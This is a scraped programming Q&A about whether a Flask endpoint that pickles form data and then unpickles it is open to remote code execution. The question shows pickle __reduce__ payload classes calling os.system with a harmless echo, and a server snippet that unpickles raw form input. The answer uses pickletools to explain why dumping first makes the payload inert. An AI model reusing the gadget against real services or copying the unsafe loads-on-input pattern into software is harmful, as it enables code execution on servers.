【问题标题】:If a server calls pickle.dumps before pickle.loads is there any way for RCE?如果服务器在pickle.loads 之前调用pickle.dumps,RCE 有什么办法吗?
【发布时间】:2021-10-17 15:34:26
【问题描述】:

免责声明:此问题并非出于恶意目的!我正在开发自己的 OWN 虚拟机!

文章here 演示了加载不受信任的pickle 数据如何导致远程代码执行,我正在研究如何在没有安全问题的情况下使用此工作流。

我的问题如下 - 如果我已经让 webapp 在 Flask 中收到请求,在 request.form 上使用 pickle.dumps(),然后在之前转储的内容上使用 pickle.loads(),还有办法吗执行恶意代码?

示例服务器代码:

@blueprint.route('/test', methods=['GET', 'POST'])
def test():
    test=pickle.dumps(request.form) 
    test2=pickle.loads(test) # THE CODE SHOULD BE EXECUTED AT THIS POINT
    return ...

这个工作流程仍然容易受到攻击吗?据我了解,pickle 最常见的利用类型是 b64 字符串通过并由pickle.loads() 解释。但是,如果在pickle.loads() 之前的表单上调用pickle.dumps(),是否可以获得相同的结果?

我尝试了几件事,但都没有成功。如果您知道密码,请告诉我:)

这是来自the same article的恶意用户代码示例

    import pickle
    import base64
    import os
    
    
    class RCE:
        def __reduce__(self):
            cmd = ('echo EXECUTED THIS STATEMENT')
            return os.system, (cmd,)
    
    
    if __name__ == '__main__':
        pickled = pickle.dumps(RCE())
        print(base64.urlsafe_b64encode(pickled))
        # Running pickle.loads(pickle.dumps(RCE())) would execute 'echo EXECUTED THIS STATEMENT'
        # I need to pass through RCE() because pickle.dumps() and pickle.loads() are server-side

这将返回一个 base64 字符串,当 pickle.loads() 解释该字符串时,将执行 cmd 中的代码。

但是如何在请求中传递RCE() 的结果,以便在pickle.loads() 之前在服务器端被pickle.dumps() 转储并仍然执行恶意代码?强>

示例(此代码不起作用):

客户端代码

class RCE:
    def __reduce__(self):
        cmd = ('echo EXECUTED THIS STATEMENT')
        return os.system, (cmd, )

data = {
    'test': RCE()
}
s = requests.Session()
r = s.post(URL + "/test", data=data)

服务器端代码

@blueprint.route('/test', methods=['GET', 'POST'])
def test():
    test=pickle.dumps(request.form) 
    test2=pickle.loads(test) # THE CODE SHOULD BE EXECUTED AT THIS POINT
    return ...

示例(此代码有效):

客户端代码

class RCE:
    def __reduce__(self):
        cmd = ('echo EXECUTED THIS STATEMENT')
        return os.system, (cmd, )

data = {
    'test': pickle.dumps(RCE())
}
s = requests.Session()
r = s.post(URL + "/test", data=data)

服务器端代码

@blueprint.route('/test', methods=['GET', 'POST'])
def test():
    test2=pickle.loads(request.form['test']) # THE CODE SHOULD BE EXECUTED AT THIS POINT
    return ...

我的想法如下,是否有可能有一个字符串,当在服务器端由pickle.dumps() 序列化时,返回与在客户端执行pickle.dumps(RCE()) 相同的值。当然,由于request.form 方面的原因,服务器端pickle.dumps() 的结果会有所不同。据我了解,只要字符串中有可执行代码,pickle.loads()就会执行。

【问题讨论】:

  • 也许你可以用一些有效但显然无害的东西来替换恶意代码。
  • 我不认为我完全理解你在问什么,就像RCE 声称当腌制时可以通过使用给定的字符串输入调用os.system 来重建它,所以腌制的数据只是保留引用该函数和字符串,我不确定您所说的“在对象中传递 RCE() 的结果以便它可以被 pickle.dumps() 转储”是什么意思不是这是你已经拥有的?
  • 我让服务器故意在加载前执行转储。我不混淆谁是客户谁是服务员。只是想看看有没有办法做到这一点。
  • 据我了解,调用 RCE() 将执行 reduce 功能,然后将其腌制。一旦它被腌制,如果你在pickle.dumps()返回的base64字符串上调用pickle.loads(),cmd中的代码将被执行。我知道如果执行了pickle.loads(pickle.dumps({'rce':RCE()})),这将起作用。所以我想弄清楚的是如何将请求中的RCE() 传递给服务器,这样当服务器转到test = pickle.dumps(request.form) test2=pickle.loads(test) 时,就会执行来自cmd 的代码。
  • 当然,我会将这段代码添加到问题中:)

标签: python security flask pickle


【解决方案1】:

不,服务器无法通过转储然后加载来执行远程代码,但您也不能加载腌制数据结构。

我将使用pickletools.dis 来演示实际会发生什么:

import pickle
import pickletools
class RCE:
    def __reduce__(self):
        return eval, ("print('MALICIOUS PYTHON CODE HERE')",)

pickled_malicious = pickle.dumps(RCE())
print("what is executed when loading malicious pickle:")
pickletools.dis(pickled_malicious)
print("pickle is type:", type(pickled_malicious))

pickled_string = pickle.dumps(pickled_malicious)
print("what is executed when loading the dump of malicious")
pickletools.dis(pickled_string)

加载恶意代码时,我们会加载函数evalos.system 以及参数,然后REDUCE 操作代码运行该函数:

what is executed when loading malicious pickle:
    0: \x80 PROTO      3
    2: c    GLOBAL     'builtins eval'
   17: q    BINPUT     0
   19: X    BINUNICODE "print('MALICIOUS PYTHON CODE HERE')"
   59: q    BINPUT     1
   61: \x85 TUPLE1
   62: q    BINPUT     2
   64: R    REDUCE
   65: q    BINPUT     3
   67: .    STOP

虽然腌制的恶意代码本身只是一个字节对象,

pickle is type: <class 'bytes'>

因此,如果您转储该加载只会加载文字字节对象(或者如果您正在执行 base64 编码,则可能是字符串,但无论哪种方式,此时它只是一个文字)

what is executed when loading the dump of malicious
    0: \x80 PROTO      3
    2: C    SHORT_BINBYTES b"\x80\x03cbuiltins\neval\nq\x00X#\x00\x00\x00print('MALICIOUS PYTHON CODE HERE')q\x01\x85q\x02Rq\x03."
   72: q    BINPUT     0
   74: .    STOP
highest protocol among opcodes = 3

这意味着如果服务器只是在输入中调用pickle.dumps(这是一串base64数据或包含pickle数据的字节数据,无论哪种方式,当它被转储时它只是一个文字值)然后当它调用pickle.loads 在那个结果上它只会取回原始输入。

任何将用户输入解释为 pickle 数据的情况都是易受攻击的 - 但您在这里没有这样做 - 您正在从已知的安全输入(输入字符串)创建 pickle 数据,然后加载它。

【讨论】:

  • 有趣...感谢您花时间反驳我的想法(我不是在讽刺)。我至少会再考虑几天:)
  • 别担心,这是一个有趣的想法,很抱歉我们花了这么长时间才理解您的问题!尝试制作一个应用程序,客户端发送一个数字序列(编码你喜欢的任何方式),服务器对每个数字进行平方并将平方序列发回,这可能有助于您理解。如果您想支持复数(JSON 不喜欢)和无穷大和 NaNast.literal_eval 不喜欢),您可能必须编写自己的解析器或使用 pickle,并编写解析器更真实的数据结构会很快变得烦人。
猜你喜欢
  • 1970-01-01
  • 1970-01-01
  • 1970-01-01
  • 1970-01-01
  • 2017-08-23
  • 1970-01-01
  • 2014-02-02
  • 2018-09-13
  • 1970-01-01
相关资源
最近更新 更多